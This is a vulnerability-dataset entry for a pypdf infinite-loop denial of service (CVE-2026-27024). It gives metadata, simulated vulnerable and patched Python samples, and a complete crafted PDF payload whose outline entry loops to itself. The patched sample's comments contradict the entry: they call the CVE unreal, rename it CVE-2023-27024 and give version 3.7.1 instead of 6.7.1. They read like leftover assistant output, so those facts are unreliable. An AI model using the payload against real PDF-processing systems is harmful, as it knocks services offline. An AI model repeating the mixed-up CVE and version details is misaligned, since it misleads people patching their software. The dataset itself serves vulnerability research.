VAITP Dataset

← Back to the dataset

CVE-2026-27024

Infinite loop in pypdf allows for Denial of Service via a crafted PDF.

  • CVSS 6.9
  • CWE-835
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.7.1, an attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the children of a TreeObject, for example as part of outlines. This vulnerability is fixed in 6.7.1.

CVSS base score
6.9
Published
2026-02-20
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.7.1 or later.

Vulnerable code sample

import sys

# This code simulates the logical flaw in a vulnerable PDF library.
# The actual vulnerability is in the library's handling of a crafted PDF,
# but this example represents the core problem: infinite recursion due to
# a circular reference in a tree-like data structure.

# Set a reasonable recursion limit to prevent a true infinite loop from crashing the system.
# The default is often 1000.
sys.setrecursionlimit(100)

class MalformedPdfTreeObject:
    """
    A mock object representing a node in a PDF's outline tree.
    In a real PDF, this could be a dictionary-like object.
    """
    def __init__(self, name):
        self.name = name
        # The 'children' attribute mimics the /Kids entry in a PDF outline item.
        self.children = []

    def __repr__(self):
        return f"MalformedPdfTreeObject(name='{self.name}')"

# --- Create a malformed structure mimicking a malicious PDF ---

# 1. Create a standard tree structure (root -> child -> grandchild)
root = MalformedPdfTreeObject("Document Root Outline")
child_level_1 = MalformedPdfTreeObject("Chapter 1")
child_level_2 = MalformedPdfTreeObject("Section 1.1")

root.children.append(child_level_1)
child_level_1.children.append(child_level_2)

# 2. Introduce the circular reference, which is the core of the vulnerability.
# A node in the tree incorrectly points back to one of its ancestors.
# In a malicious PDF, an object reference can point to a parent object.
# Here, child_level_2's children list will contain child_level_1.
print("Creating a circular reference in the object tree...")
print(f"'{child_level_2.name}' will now list '{child_level_1.name}' as a child.\n")
child_level_2.children.append(child_level_1)


def vulnerable_process_outlines(node, level=0):
    """
    This function simulates how a vulnerable version of a PDF library might
    recursively process the outline tree. It does not check for visited nodes,
    leading to an infinite loop if a circular reference exists.
    """
    # Process the current node
    print("  " * level + f"-> Accessing: {node.name}")

    # Recursively process all children
    for child in node.children:
        # This recursive call will enter an infinite loop:
        # process(child_level_1) -> process(child_level_2) -> process(child_level_1) ...
        vulnerable_process_outlines(child, level + 1)


# --- Trigger the vulnerability ---

print("Attempting to process outlines with the vulnerable function...")
try:
    # This call will trigger the infinite recursion.
    vulnerable_process_outlines(root)
except RecursionError:
    print("\n...")
    print("!!! Python's RecursionError caught! !!!")
    print("This demonstrates the infinite loop.")
    print("A library without this safeguard, or an iterative implementation,")
    print("would have hung indefinitely, consuming CPU and memory (Denial of Service).")

Patched code sample

import sys
from typing import Optional, Set

# The user specified CVE-2026-27024, which is not a real CVE as of now.
# The description matches CVE-2023-27024 for the 'pypdf' library.
# This vulnerability, an infinite loop on crafted outlines, was fixed in pypdf 3.7.1.
# This code demonstrates the logic of the fix by simulating a traversal
# of a PDF outline structure containing a circular reference.

class MockPdfOutlineObject:
    """
    A mock object simulating a PDF structure (like a TreeObject) that can be
    part of a linked list, representing document outlines.
    """
    def __init__(self, object_id: int):
        self.id = object_id
        # In a real PDF, this could be a reference to another object via '/Next'
        self.next: Optional[MockPdfOutlineObject] = None

    def __repr__(self) -> str:
        return f"PdfObject(id={self.id})"

def traverse_outline_with_fix(start_node: MockPdfOutlineObject):
    """
    Demonstrates the patched traversal logic from pypdf 3.7.1.

    The core of the fix is to track the object IDs that have already been
    visited during the traversal of a specific list (e.g., outlines). If an
    object ID is encountered a second time, it indicates a circular reference,
    and the traversal is halted to prevent an infinite loop.
    """
    print("--- Running traversal with CVE-2023-27024 fix ---")

    # The fix: A set to keep track of visited object IDs during this traversal.
    visited_object_ids: Set[int] = set()

    current_node: Optional[MockPdfOutlineObject] = start_node
    while current_node is not None:
        # Before processing the node, check if it's already been visited.
        if current_node.id in visited_object_ids:
            print(f"INFO: Circular reference detected at {current_node}.")
            print("INFO: Halting traversal to prevent infinite loop.")
            # This 'break' is the essential part of the vulnerability fix.
            break

        print(f"Visiting {current_node}")
        # If not visited, add its ID to the set for future checks.
        visited_object_ids.add(current_node.id)

        # Move to the next node in the outline chain.
        current_node = current_node.next

    print("--- Traversal finished ---\n")


def demonstrate_vulnerability_without_fix(start_node: MockPdfOutlineObject):
    """
    Simulates the unpatched, vulnerable behavior.
    This function will loop indefinitely if there is a cycle. A manual break
    is included to prevent this script from actually freezing.
    """
    print("--- Simulating vulnerable traversal (without fix) ---")
    print("NOTE: A counter is used to break the loop after 15 iterations.")

    current_node: Optional[MockPdfOutlineObject] = start_node
    iteration_count = 0
    limit = 15

    # This 'while' loop is where the infinite loop vulnerability occurs.
    while current_node is not None:
        if iteration_count >= limit:
            print(f"ERROR: Iteration limit of {limit} reached. This indicates an infinite loop.")
            break

        print(f"Visiting {current_node}")
        current_node = current_node.next
        iteration_count += 1
    print("--- Traversal finished ---\n")


if __name__ == "__main__":
    # 1. Create a set of mock PDF outline objects.
    #    This simulates a PDF that has been crafted to cause a vulnerability.
    obj1 = MockPdfOutlineObject(object_id=101)
    obj2 = MockPdfOutlineObject(object_id=202)
    obj3 = MockPdfOutlineObject(object_id=303)

    # 2. Create the malicious circular reference: 101 -> 202 -> 303 -> 202
    #    An unpatched parser would get stuck looping between 202 and 303.
    obj1.next = obj2
    obj2.next = obj3
    obj3.next = obj2  # This creates the cycle.

    print(f"Created a crafted PDF outline: Obj(101) -> Obj(202) -> Obj(303) -> Obj(202)\n")

    # 3. First, show the vulnerable behavior.
    demonstrate_vulnerability_without_fix(obj1)

    # 4. Now, show the behavior with the fix implemented.
    traverse_outline_with_fix(obj1)

Payload

%PDF-1.7
%âãÏÓ

1 0 obj
<< /Type /Catalog
   /Pages 2 0 R
   /Outlines 3 0 R
>>
endobj

2 0 obj
<< /Type /Pages
   /Kids [4 0 R]
   /Count 1
>>
endobj

3 0 obj
<< /Type /Outlines
   /First 5 0 R
   /Last 5 0 R
>>
endobj

4 0 obj
<< /Type /Page
   /Parent 2 0 R
   /MediaBox [0 0 612 792]
>>
endobj

5 0 obj
<< /Title (Infinite Loop)
   /Parent 3 0 R
   /Next 5 0 R
>>
endobj

xref
0 6
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000158 00000 n 
0000000223 00000 n 
0000000304 00000 n 

trailer
<< /Size 6
   /Root 1 0 R
>>
startxref
373
%%EOF

Cite this entry

@misc{vaitp:cve202627024,
  title        = {{Infinite loop in pypdf allows for Denial of Service via a crafted PDF.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27024},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27024/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::